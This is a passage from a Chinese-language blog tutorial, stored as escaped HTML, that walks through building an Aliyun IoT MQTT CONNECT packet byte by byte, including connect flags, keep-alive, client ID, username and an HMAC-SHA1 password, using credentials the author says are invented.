\u003e\u003ccenter\u003e\u003cstrong\u003e6\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e5\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e4\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e3\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e2\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e1\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e0\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr\u003e \u003cth colspan=\"10\"\u003e\u003ccenter\u003eProtocol Name\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003ebyte 1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eLength MSB(0)\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003ebyte 2\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eLength LSB(4)\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003ebyte 3\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e'M'\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003ebyte 4\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e'Q'\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003ebyte 5\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e'T'\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003ebyte 6\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e'T'\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr\u003e \u003cth colspan=\"10\"\u003e\u003ccenter\u003eProtocol Level\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003ebyte 7\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eLevel(4)\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr\u003e \u003cth colspan=\"10\"\u003e\u003ccenter\u003eConnect Flags\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr \u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003ebyte 8\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eUser Name Flag(1)\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ePassword Flag(1)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003eWill Retain(0)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003eWill QoS(01)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003eWill Flag(1)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003eClean Session(1)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003eReserved(0)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003cth colspan=\"10\"\u003e\u003ccenter\u003eKeep Alive\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte 9\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eKeep Alive MSB(0)\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte 10\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eKeep Alive LSB(10)\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e\u003c/table\u003e\u003ch5 id=\"得到可变报头\"\u003e\u003ca href=\"#得到可变报头\" class=\"headerlink\" title=\"得到可变报头\"\u003e\u003c/a\u003e得到可变报头\u003c/h5\u003e\u003cp\u003e用户名、密码、清理回话,100s\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e04\u003c/span\u003e 4D \u003cspan class=\"token number\"\u003e51\u003c/span\u003e \u003cspan class=\"token number\"\u003e54\u003c/span\u003e \u003cspan class=\"token number\"\u003e54\u003c/span\u003e \u003cspan class=\"token number\"\u003e04\u003c/span\u003e C2 \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e64\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"有效载荷\"\u003e\u003ca href=\"#有效载荷\" class=\"headerlink\" title=\"有效载荷\"\u003e\u003c/a\u003e有效载荷\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e需要用到的工具:\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://www.metools.info/code/c25.html\"\u003e在线HMAC计算-ME2在线工具 (metools.info)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.rapidtables.com/convert/number/hex-to-ascii.html\"\u003eHex to ASCII Text String Converter (rapidtables.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.rapidtables.com/convert/number/ascii-to-hex.html\"\u003eASCII to Hex | Text to Hex Code Converter (rapidtables.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e对于各参数的具体信息可以参考阿里云文档:\u003ca href=\"https://help.aliyun.com/zh/iot/user-guide/establish-mqtt-connections-over-tcp#section-llx-5ay-oma\"\u003eMQTT-TCP连接通信 (aliyun.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e有效载荷(payload)包含一个或多个以长度为前缀的字段,可变报头中的标志决定是否包含这些字段。如果包含的话,必须按这个顺序出现:客户端标识符,遗嘱主题,遗嘱消息,用户名,密码,且每个字段必须使用UTF-8编码字符串(\u003cstrong\u003e需要在最前面添加表示长度的16进制字符\u003c/strong\u003e)\u003c/p\u003e\u003ctable\u003e \u003ctr\u003e \u003cth colspan=\"2\"\u003e\u003ccenter\u003e每个字段示例\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr\u003e \u003cth \u003e\u003ccenter\u003eBit\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e7 - 0\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte 1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e数据长度 MSB\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte 2\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e数据长度 LSB\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte 3...\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e数据长度大于0,这里就是数据部分\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e\u003c/table\u003e\u003cp\u003e我们此时需要去阿里云获取三元组(我随便编一编):\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"ProductKey\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"ksf114514\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"DeviceName\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"Air601\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"DeviceSecret\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"ksf1145141919810dj15ltc137666\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e我们约定:\u003c/p\u003e\u003cul\u003e\u003cli\u003e#:ProductKey\u003c/li\u003e\u003cli\u003e*:DeviceName\u003c/li\u003e\u003cli\u003e\u0026amp;:DeviceSecret\u003c/li\u003e\u003c/ul\u003e\u003ch5 id=\"客户端标识符\"\u003e\u003ca href=\"#客户端标识符\" class=\"headerlink\" title=\"客户端标识符\"\u003e\u003c/a\u003e客户端标识符\u003c/h5\u003e\u003cp\u003e通用格式:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e*|securemode=\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003esignmethod=hmacsha1|\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e进行填充:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eAir601|securemode=\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003esignmethod=hmacsha1|\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e转换为16进制:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e75\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 6D 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e33\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e67\u003c/span\u003e 6E 6D \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e74\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6D \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e添加长度(40 -\u0026gt; 00 28):\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e75\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 6D 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e33\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e67\u003c/span\u003e 6E 6D \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e74\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6D \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"用户名\"\u003e\u003ca href=\"#用户名\" class=\"headerlink\" title=\"用户名\"\u003e\u003c/a\u003e用户名\u003c/h5\u003e\u003cp\u003e通用格式:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e*\u0026amp;#\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e进行填充:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eAir601\u0026amp;ksf114514\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e转换为16进制\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003e41 69 72 36 30 31 26 6B 73 66 31 31 34 35 31 34\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e添加长度(16 -\u0026gt; 00 10)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003e00 10 41 69 72 36 30 31 26 6B 73 66 31 31 34 35 31 34\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"密码\"\u003e\u003ca href=\"#密码\" class=\"headerlink\" title=\"密码\"\u003e\u003c/a\u003e密码\u003c/h5\u003e\u003cp\u003e通用格式:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eclientId*deviceName*productKey#\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e进行填充:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eclientIdAir601deviceNameAir601productKeyksf114514\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e加密:\u003c/p\u003e\u003cp\u003e将填充后的内容\u003cstrong\u003e使用DeviceSecret做密钥\u003c/strong\u003e,进行\u003cstrong\u003eHmacSHA1加密\u003c/strong\u003e:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003ee4b931f38037ef7241455709458b4b630b22eac2\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e转为16进制:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e添加长度(40 -\u0026gt; 00 28)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token 